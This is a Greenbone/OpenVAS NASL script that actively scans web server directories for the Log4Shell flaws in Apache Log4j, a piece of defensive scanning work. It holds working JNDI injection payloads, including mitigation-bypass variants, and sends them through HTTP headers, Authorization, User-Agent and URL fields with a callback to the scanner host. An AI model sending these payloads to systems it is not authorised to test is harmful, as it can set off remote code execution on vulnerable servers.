Apache Log4j 2.0.x Multiple Vulnerabilities (HTTP Web Dirs, Log4Shell) - Active Check

# SPDX-FileCopyrightText: 2022 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.113858");
  script_version("2026-03-10T10:15:11+0000");
  script_cve_id("CVE-2021-44228", "CVE-2021-45046");
  script_tag(name:"last_modification", value:"2026-03-10 10:15:11 +0000 (Tue, 10 Mar 2026)");
  script_tag(name:"creation_date", value:"2022-03-24 11:17:09 +0000 (Thu, 24 Mar 2022)");
  script_tag(name:"cvss_base", value:"9.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-12-14 01:15:00 +0000 (Tue, 14 Dec 2021)");
  script_name("Apache Log4j 2.0.x Multiple Vulnerabilities (HTTP Web Dirs, Log4Shell) - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2022 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl",
                      "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning",
                      "global_settings/disable_generic_webapp_scanning");

  script_xref(name:"URL", value:"https://logging.apache.org/log4j/2.x/security.html");
  script_xref(name:"URL", value:"https://issues.apache.org/jira/browse/LOG4J2-3198");
  script_xref(name:"URL", value:"https://issues.apache.org/jira/browse/LOG4J2-3201");
  script_xref(name:"URL", value:"https://github.com/apache/logging-log4j2/pull/607");
  script_xref(name:"URL", value:"https://github.com/apache/logging-log4j2/pull/608");
  script_xref(name:"URL", value:"https://github.com/advisories/GHSA-jfh8-c2jp-5v3q");
  script_xref(name:"URL", value:"https://github.com/advisories/GHSA-7rjr-3q55-vv33");
  script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2021/12/10/1");
  script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2021/12/14/4");
  script_xref(name:"URL", value:"https://www.lunasec.io/docs/blog/log4j-zero-day/");
  script_xref(name:"URL", value:"https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/");
  script_xref(name:"URL", value:"https://www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html");
  script_xref(name:"URL", value:"https://github.com/YfryTchsGD/Log4jAttackSurface");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html");
  script_xref(name:"URL", value:"https://github.com/tangxiaofeng7/apache-log4j-poc");
  script_xref(name:"URL", value:"https://github.com/0x0021h/apache-log4j-rce");
  script_xref(name:"URL", value:"https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");

  script_tag(name:"summary", value:"Apache Log4j is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends various crafted HTTP requests to each found directory of
  the remote web server and checks if the target is connecting back to the scanner host.

  Notes:

  - For a successful detection of this flaw the target host needs to be able to reach the scanner
  host on a TCP port randomly generated during the runtime of the VT (currently in the range of
  10000-32000).

  - Due to the long expected run time of this VT it is currently not enabled / running by default.
  Please set the 'Enable generic web application scanning' setting within the VT
  'Global variable settings' (OID: 1.3.6.1.4.1.25623.1.0.12288) to 'yes' if you want to run this
  script.");

  script_tag(name:"insight", value:"The following vulnerabilities exist:

  - CVE-2021-44228: Apache Log4j2 JNDI features used in configuration, log messages, and parameters
  do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who
  can control log messages or log message parameters can execute arbitrary code loaded from LDAP
  servers when message lookup substitution is enabled. This vulnerability is dubbed 'Log4Shell'.

  - CVE-2021-45046: Denial of Service (DoS) and a possible remote code execution (RCE) in certain
  non-default configurations.");

  script_tag(name:"affected", value:"Apache Log4j versions 2.0.x.");

  script_tag(name:"solution", value:"Update Apache Log4j to version 2.12.2, 2.16.0 or later.

  If Apache Log4j is embedded into a specific product please contact the vendor of the product for
  additional info on the availability of updates.");

  script_tag(name:"qod_type", value:"exploit");
  script_tag(name:"solution_type", value:"VendorFix");

  # nb: We currently have 6 payloads * 3 injection points with a sum of 18 request. Each request has
  # a timeout of 3 seconds (defined in the send_capture() call) means a run time of 54 seconds for
  # every single found dir. On large web pages there might be a large list of directories found so a
  # quite high timeout was chosen here because the user needs to explicitly enable this VT and
  # accept that scans are taking longer than usual.
  script_timeout(1800);

  exit(0);
}

# nb: We also don't want to run if optimize_test is set to "no"
if( get_kb_item( "global_settings/disable_generic_webapp_scanning" ) )
  exit( 0 );

include("host_details.inc");
include("http_func.inc");
include("http_header_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("pcap_func.inc");

ownip = this_host();
targetip = get_host_ip();

# nb: No need to run against a GOS / GSM as we know that the system isn't using Java / Log4j at all
# and thus waste scanning time on self scans.
if( executed_on_gos() ) {
  if( ownip == targetip || islocalhost() ) {
    exit( 99 ); # EXIT_NOTVULN
  }
}

port = http_get_port( default:80 );

ownhostname = this_host_name();
src_filter = pcap_src_ip_filter_from_hostnames();
# nb:
# - We're currently using 10000-32000 to not get in conflict with the ephemeral port range used by
#   most standard Linux/Unix operating systems. If we're choosing a port of that range we might have
#   false positives due to race conditions (target is sending back a response to a request of
#   another VT for which the scanner had chosen the same source port).
# - This is also done outside of the foreach loop as we don't want to use a separate random port for
#   every single request and for each dir. This is done like this because we might exceed the random
#   port list on large web apps quite easily which could cause false positives or similar if the
#   same random port is used by another VT.
rnd_port = rand_int_range( min:10000, max:32000 );
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );
filter = string( "tcp and dst port ", rnd_port, " and ", src_filter, " and ", dst_filter );
# nb: We're only interested in TCP SYN packets and want to ignore all others (e.g. ACK, RST, ...)
filter = string( filter, " and tcp[tcpflags] & (tcp-syn) != 0" );

payloads = make_list(
  # Original PoC for CVE-2021-44228
  "${jndi:ldap://" + ownip + ":" + rnd_port + "/a}",
  "${jndi:ldap://" + ownhostname + ":" + rnd_port + "/a}",
  # Bypass of the "allowedLdapHost" mitigation in Log4j 2.15.0:
  # https://twitter.com/marcioalm/status/1471740771581652995
  # Some reports on the net says that a valid hostname needs to be given after "#" but we check the
  # IP as well just to be sure...
  "${jndi:ldap://127.0.0.1#" + ownip + ":" + rnd_port + "/a}",
  "${jndi:ldap://127.0.0.1#" + ownhostname + ":" + rnd_port + "/a}",
  # Also try with the localhost variant just to be sure...
  "${jndi:ldap://localhost#" + ownip + ":" + rnd_port + "/a}",
  "${jndi:ldap://localhost#" + ownhostname + ":" + rnd_port + "/a}"
);

injection_points = make_list(
  # Various generic headers
  "Headers",
  # For injection via a URL, this is done separately and without any additional headers.
  "URL-plain",
  "URL-param"
);

# nb: Used outside of the foreach loops because we don't want to create the very same list multiple
# times.
#
# Notes on a few of the returned headers and the affected systems:
# Cookie: Seen on a specific Apache OFBiz Cookie
# X-Forwarded-For: Seen on VMware vCenter on a specific endpoint
# If-Modified-Since: Seen on Apache Struts 2 for specific static content
# Accept-Language: Seen on VMWare Horizon Server /portal/info.jsp
# X-Api-Version: Seen on a vulnerable PoC docker container
#
# nb: User-Agent, Accept-Language and Accept headers needs to be handled separately so these are excluded.
exclude_hdr_list = make_list( "User-Agent", "Accept-Language", "Accept" );

header_list = http_hdr_get_common_list( exclude_hdr_list:exclude_hdr_list );

foreach dir( make_list_unique( http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    continue; # nb: Already fully checked / covered in 2021/apache/gb_log4j_CVE-2021-44228_http_web_root_active.nasl

  foreach injection_point( injection_points ) {

    foreach payload( payloads ) {

      if( injection_point == "Headers" ) {

        url = dir + "/";

        headers_with_payload = http_hdr_add_value( value:payload, header_list:header_list );

        # For the Authorization header we're passing a valid "Basic" string before our payload
        headers_with_payload["Authorization"] = "Basic " + payload;

        # nb: User-Agent and Accept headers needs to be handled separately because both have an own
        # parameter in http_get_req().
        req = http_get_req( port:port, url:url, user_agent:payload, accept_header:payload, add_headers:headers_with_payload );

        # nb: http_get_req() is already adding the "Accept-Language" header by default so we're just
        # overwriting it here after crafting the initial request.
        req = ereg_replace( string:req, pattern:'(Accept-Language:[^\r\n]+\r\n)', replace:'Accept-Language: ' + payload + '\r\n' );
      }

      # nb: When using a modificated URL we don't want to add additional headers (at least for now).
      else {

        if( injection_point == "URL-plain" )
          url = dir + "/" + payload;
        else if( injection_point == "URL-param" )
          url = dir + "/?param=" + payload;
        # nb: Normally shouldn't happen, just added as a last fallback.
        else
          url = dir + "/";

        req = http_get_req( port:port, url:url );
      }

      # nb: Always keep open_sock_tcp() after the first call of a function forking on multiple
      # hostnames / vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(),
      # ...). Reason: If the fork would be done after calling open_sock_tcp() the child's would
      # share the same socket causing race conditions and similar.
      if( ! soc = open_sock_tcp( port ) )
        continue;

      res = send_capture( socket:soc, data:req, timeout:3, pcap_filter:filter );
      close( soc );

      if( ! res )
        continue;

      # nb: See note above on the reason for this check. This is just another fallback if something is
      # going wrong in the send_capture() call above.
      flags = get_tcp_element( tcp:res, element:"th_flags" );
      if( flags & TH_SYN ) {

        # nb: We need to call the correct get_ip_*element() function below depending on the IP version
        # of the received IP packet.
        ip_vers_hex = hexstr( res[0] );
        if( ip_vers_hex[0] == 4 ) {
          src_ip = get_ip_element( ip:res, element:"ip_src" );
          dst_ip = get_ip_element( ip:res, element:"ip_dst" );
        } else if( ip_vers_hex[0] == 6 ) {
          src_ip = get_ipv6_element( ipv6:res, element:"ip6_src" );
          dst_ip = get_ipv6_element( ipv6:res, element:"ip6_dst" );
        }

        if( ! src_ip )
          src_ip = "N/A";

        if( ! dst_ip )
          dst_ip = "N/A";

        # Note that we can't do a reporting of our sent HTTP request as there might be race
        # conditions with e.g. delayed responses which would make our VT to report the wrong HTTP
        # request. It would also require to use a random port for every single sub dir, payload
        # and injection point which is something we can't do as well.
        report = 'It was possible to trigger the vulnerability and make the remote host sending a request back to the scanner host (Details on the received packet follows).\n\n';
        report += "Destination IP:   " + dst_ip + ' (receiving IP on scanner host side)\n';
        report += "Destination port: " + rnd_port + '/tcp (receiving port on scanner host side)\n';
        report += "Originating IP:   " + src_ip + " (originating IP from target host side)";
        security_message( port:port, data:report );
        exit( 0 );
      }
    }
  }
}

# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host.
exit( 0 );